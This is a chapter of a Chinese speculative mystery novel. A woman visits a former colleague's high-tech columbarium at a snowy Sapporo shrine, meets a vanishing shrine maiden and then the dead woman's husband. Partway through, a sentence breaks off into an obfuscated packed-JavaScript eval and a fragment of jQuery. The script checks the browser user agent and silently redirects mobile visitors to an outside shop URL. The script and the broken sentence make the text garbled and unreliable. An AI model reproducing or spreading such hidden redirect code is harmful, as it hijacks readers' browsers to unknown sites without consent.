第二天清晨，我从山麓乘坐巴士抵达“冠雪”的入口，因此头顶耸立着一座巨大的橘红色鸟居，参道石阶一直向山上蔓延。人们总说穿过鸟居，就从此世进入了彼世。两侧的木扶手系着许多米黄色币帛，上面密密麻麻地写满了文字，它们随风飘动，仿佛一节节骨瘦如柴的手臂，向我招手。
我事先向管理员打听过，得知“冠雪”是围绕一座废弃神社建造的，由神道名门白川氏的一支负责运营，并邀请了数位日本著名建筑师进行规划和设计，起初只是为了翻修神社，后来有太多的人过来做仪式，才拓展出了一块墓地。书里描绘的宗教氏族总给人一种清高避世的印象。白川家族平时不轻易接待外人，除了每年举行固定的慰灵祭，普通人难以接触到他们内部的成员。他们更倾向于为皇族、政府高官及企业高管服务，而非回应大众五花八门的祈愿。
虽然这里只是半山腰，气温却比市里要低得多，冷空气刺穿外套，每时每刻都在撕咬着我的皮肤。墓地通常使人联想到亡魂，况且雪天来祭拜的人寥寥无几，于是显得这里更加阴冷了。
我踏上第一级台阶时，有人从身后拍了拍我的肩膀。
“小姐，您的东西掉了。”说话的人是位穿着白衣绯袴的年轻女子，束着乌黑的头发。
原来是那枚健康御守。我把它装回口袋里，向她躬身道谢，她也模仿我的动作，朝我轻轻鞠躬。周围的树木窸窸窣窣地响，有几只纯白的鹿从枯枝中探出头，几乎与雪融为一体。我注意到它们的眼睛很漂亮，是金褐色的。
“您是要去山上祭拜某个人吗？”
“是的。”
“雪天路滑，请您务必当心。”
“谢谢您的提醒。”
“我感受到了一种很强烈的东西。”她说，目光看向我腰间的口袋。
“你是说……灵魂吗？”
“纯粹和污秽都会吸引灵魂。一个人很难变成纯粹之物，但轻而易举便能被污秽污染。冠雪是洁净的地方，亡魂喜欢在此聚集。所以，请您也保持内心的纯粹吧。”她抬起手，指了指藏匿于山间的白色鹿群，“它们便是在引导您走出歧途。无论是恶念还是执念，都会阻碍一个人走向纯粹。”
我看向那些鹿，它们嘴里发出呦呦的鸣叫。当我再回头的时候，那名年轻女子已经消失不见，我感到有些诧异，摸了摸口袋，那枚健康御守正安静地待在里面，和我的体温保持一致。我实在分不清，这究竟是现实还是幻觉？
随着我向上走，视野变得开阔起来，落满白色的全息杨桐树丛映入眼帘——这是必然的，自然生长的杨桐撑不过札幌的雪天。
比起我母亲那种传统的墓地，这里有一股强烈的侘寂意味，以蜿蜒的不冻水道、枯枝和石头作为指引，两侧种植着落叶松，一路上都能闻到自然腐烂的气息。走过手水舍，前方是那座巨大的灰色混凝土圆环，大约每隔五米的样子设置一处步入式凹槽，走进去能近距离触摸到那些壁龛。每只壁龛表面都覆盖着一层全透明电子薄膜，下方镶嵌着金属铭牌，刻着三位数字编号，祭拜者需要在管理员处获得一个临时密钥，用于激活骨灰龛，发光的像素点便会在最外层的薄膜电屏上排列组合成各种文字、图案和符号，如同从混凝土表面生长出来一般。
墓主灵的神像巍然矗立在广场正中央，所有壁龛皆朝向这个中心祭坛。冠雪神社的位置要再往山上一些，以宁静的姿态俯瞰墓地，粗壮的注连绳将其紧紧围住。即便是狂风大雪肆虐，也无法动摇其坚固不移。
木下前辈生前喜欢雪，且死后安眠于这样一个万籁俱寂的地方，灵魂想必不会受到煎熬。
我先在祭坛中插入购买的榊枝，完成二礼二拍手一礼后，再朝一间由灰色石墙、白蜡木与钢格栅组成的二层小楼走去。那儿是整个墓地的服务中心，一楼设有供墓地管理员接待来访者的场所。内部虽然昏暗，粗糙的石头饰面比海绵还要饥渴，把光线吸得干干净净，但幸运的是，只要按照标识走就能顺利抵达服务区。
根据预约单显示的信息，我坐在一号窗口前的高脚椅上。不得不说，我被玻璃上自己的倒影吓了一跳，看起来就像另一个人。
“您好。”玻璃隔板内侧的中年女人说道。她穿着白色和服，我叫不出具体的款式名字，也许是神道教的服饰。
“您好。我想要拜访‘木下遥香’的龛位。”我查看着我的终端，“是302号龛位。”
她的目光似乎瞬间被屏幕吸引住了，随即又转向了我。
“女士，系统显示，今天已经有一位男士申请了302号的访问密钥，您是否——”
“我不认识那个人。”我微微皱眉。那个男人会是谁呢？木下前辈的丈夫？朋友？同事？“我是独自一人来的。”
“请您录入一下虹膜信息，便于我们核验身份。”
管理员再次在电脑面前敲击起来，我歪着头望向窗外，雪花正以电影结尾的滚动字幕的速度缓缓降落。怎么又开始下雪了？今年札幌的雪真是来势汹汹，似乎不把一切都埋起来绝不停息。
“今年的雪确实不小呢。”管理员一边笑眯眯地说，好像看透了我的想法，一边从台酷似打印机的终端中抽出包裹着纤维编织外被的数据线，确认了我前臂上的接口适配后，便将密钥传输给了我。“临时密钥的时效只有十二小时哦，请您做好行程安排。”
“请问，今天有哪些仪式需要举行吗？神社的神职人员在这附近吗？”
“没有呢，”管理员看了看日程表，“神社最近的一次祭祀活动是在上个月了。下一场在两个月之后，如果您需要的话，请填写预约申请。”
“我上山的时候，看见了一个年轻女人，应该是巫女之类的。我和她打了招呼，然后她忽然消失了。”
“啊，您是说‘忽然消失’？”管理员困惑地看了看我，在她眼里，我大概一下子变成了一个心智不成熟、满嘴胡话的幼童。他们经常这么做，对感知到的世界夸夸其谈，让大人分不清哪句真哪句假。
“算了，谢谢您。”我站起身。
我来到木下的龛位时，那里已经站着一个黑色的影子。白色烟气正从他面前升起，蜷曲成飘忽不定的幽灵，那股尼古丁味相当刺鼻，直冲我的大脑。
“请您不要在这里抽烟。”我靠近他，保持着一臂之距，确保自己的声音透过雪花传进他的耳朵里，“如果有必要的话，我会告知管理员的。”
“啊，我、我不是那个意思……”他似乎被吓了一跳，回头瞥了我一眼，把手中的烟卷放下来。他穿着黑色外套和长裤，身材跟烧火柴差不多，脊椎有些弯曲，脸型偏长，颧骨的线条生硬，仿佛那是凿出来的，鼻梁上戴着一副雾蒙蒙的眼镜，眼角裹在下垂的肌肉里，头发和胡茬也没有打理过。总之，是一副憔悴且不修边幅的样子。
“您是木下女士的……”
“我、我是她的丈夫……呃，也是来这儿探望她的。”他见我仍旧疑惑地看着他，急忙从兜里掏出一张照片，用食指和拇指夹着边缘递给我看。照片上的女人是青涩模样的木下，脖颈系着红色方格围巾，正与我面前的男人并肩站在海滩一角，两人的身影背对着那片能吞掉人们灵魂的海湾。他们应该都在微笑，是吧？
事实上，我难以把这个男人和木下联系到一起。在我和木下有交集的那段时间里，她鲜少提及她的家庭，所以我对她丈夫和亲戚的名字一概不知。但是，从她偶尔流露的只言片语中，我感觉她的婚姻生活并不幸福。她的组里不乏有年轻女孩，总是有意无意地炫耀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777715|209942||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己的男友多么体贴、多么富有，并表示自己未来要辞掉工作，成为一名家庭主妇。她们说话时嘴角那块肌肉牵动的样子与木下截然不同。她们的行为带着耀武扬威的无知，而木下仿佛看透了这一切似的，从不附和她们。
我瞥了一眼这个邋遢的男人，然后越过他，伸手触摸302号龛位的表面。它依旧是粗糙而冰冷的，石粒凸起硌在我的掌心，没有因为那层薄膜电屏的存在而变得光滑。这触感几乎与我想象中的一模一样。电屏亮起来了——上面浮现出木下的姓名、生卒年和一些献词。
骨灰龛从屉匣中安静地滑出来，除了装在白色密封器里的骨灰结晶，里面还有一些普通的生活用品，诸如照片、首饰之类的。我把我准备好的卡片以及那枚健康御守放进去，它们就躺在一把木梳身旁。此外，我还在管理员处提交了一些写在虚拟币帛上的纪念词，它们此时应该正悬挂在那棵全息杨桐的树枝上，闪闪发光。
“请安息，直到我们再次相见的那一天。”我的声音只有我自己和骨灰龛能听见。
“您是木下的朋友吗？”一直等到我完成祭拜，那个男人才终于主动开口。他掐灭了手里的烟，因寒冷而蜷缩着身子。
“我是木下的前同事。”
“您……该如何称呼呢？”
“我叫高梨希叶。”
听到我的名字，他的脸上露出一种恍然大悟的神情。“原来您就是高梨啊。”他的右手握成拳头，用力敲了敲左手掌心，“您是那个造梦师。”
“是的，不过我很久之前就离职了。”
“木下经常提起您。”他用手捋了捋油腻的头发。他说话时眼睛没有看着我，而是四处乱瞟，时而看向我脚边的雪地，时而看向远山，“我姓神谷，神谷涉。”
“神谷？”我几乎脱口而出。我记得袭击彩虹大桥的那名未公布的嫌犯就叫作神谷拓也，虽然这可能不过是巧合而已，但我忍不住把他们联系在一起——当然，我知道，整个日本绝不止他们两个姓神谷，只是在这个时间节点出现过于蹊跷了。
“您认识我？”
“不，我的意思是……”我思索着应对的话，“我身边很少有这个姓氏的人。”
“哦，这也难怪。我的家人都住在名古屋，只有我自己出来打工了。”他的食指和中指并在一起，向上推了推歪歪扭扭的眼镜，“您和木下的关系很要好吧？今天的雪这么大，您却还特意跑到这儿祭拜她，真是太辛苦了。”
“这是我应该做的，毕竟我没有见到她最后一面。”我点了点头。我总觉得他的语调很奇怪，虽然听起来确实很温和——甚至可以说有些胆怯，但其中却隐约透着一种阴阳怪气的感觉。
“那个，我们不如找个地方坐坐吧。这儿太冷了。”他跺跺脚，两只镜片蒙上一层雾气。他重重地叹了口气，不得不摘掉眼镜，用衣角反复擦拭。我看见硬质布料在上面留下触目惊心的划痕，可他却丝毫不在意。“山下有一家咖啡店，如果您不介意的话，要不要去那里继续聊？也许我们还能聊聊木下。我开了车来，可以送您一程。今天的巴士只到下午三点，现在时候也不早了。”
他伸手指了指停车场出口的方向，手腕从外套袖口露出来一截，表带扣在了最内侧的孔里。手腕非常细，骨节突出，简直和骷髅没什么两样，在皮肤下面能看到青色的静脉。或许，在木下离开后，他因过度悲伤而食不下咽，才变得如此消瘦吧？我思考着他的请求，自从我离开原公司后，就和前同事们切断了一切联系，我的确不知道这些年木下的生活如何。我不打算完全相信从梶山直人那里了解到的东西，所以，我需要第二个人、第三个人……在不同人的口中拼凑出木下离世之前完整的一生。
“那就麻烦您了。”我说。